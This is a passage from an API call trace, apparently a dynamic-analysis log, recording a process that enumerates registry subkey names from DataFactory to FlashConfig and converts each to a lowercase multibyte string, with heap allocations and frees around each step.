Size=0x40) returned 0x94c0d8 [0038.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x94c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0038.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.175] RegEnumKeyW (in: hKey=0x34, dwIndex=0xe, lpName=0x94b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0038.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0038.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.175] RegEnumKeyW (in: hKey=0x34, dwIndex=0xf, lpName=0x94b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0038.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x94c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0038.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.175] RegEnumKeyW (in: hKey=0x34, dwIndex=0x10, lpName=0x94b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0038.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x94c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0038.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.176] RegEnumKeyW (in: hKey=0x34, dwIndex=0x11, lpName=0x94b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0038.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x94c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0038.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.176] RegEnumKeyW (in: hKey=0x34, dwIndex=0x12, lpName=0x94b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0038.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x94c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0038.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.176] RegEnumKeyW (in: hKey=0x34, dwIndex=0x13, lpName=0x94b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0038.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x94c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0038.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.177] RegEnumKeyW (in: hKey=0x34, dwIndex=0x14, lpName=0x94b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0038.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0038.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.177] RegEnumKeyW (in: hKey=0x34, dwIndex=0x15, lpName=0x94b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0038.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x94c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0038.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.177] RegEnumKeyW (in: hKey=0x34, dwIndex=0x16, lpName=0x94b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0038.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x94c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0038.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.178] RegEnumKeyW (in: hKey=0x34, dwIndex=0x17, lpName=0x94b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0038.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x94c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0038.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.178] RegEnumKeyW (in: hKey=0x34, dwIndex=0x18, lpName=0x94b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0038.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x94c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0038.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.178] RegEnumKeyW (in: hKey=0x34, dwIndex=0x19, lpName=0x94b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0038.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x94c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0038.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.179] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1a, lpName=0x94b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0038.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x94c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0038.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.179] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1b, lpName=0x94b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0038.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x94c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0038.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.179] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1c, lpName=0x94b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0038.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x94c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0038.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.180] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1d, lpName=0x94b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0038.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0038.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x94c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0038.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.180] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1e, lpName=0x94b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0038.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0038.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.180] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1f, lpName=0x94b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0038.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x94c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0038.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.181] RegEnumKeyW (in: hKey=0x34, dwIndex=0x20, lpName=0x94b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0038.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x94c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0038.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.181] RegEnumKeyW (in: hKey=0x34, dwIndex=0x21, lpName=0x94b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0038.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x94c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0038.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.181] RegEnumKeyW (in: hKey=0x34, dwIndex=0x22, lpName=0x94b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0038.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", 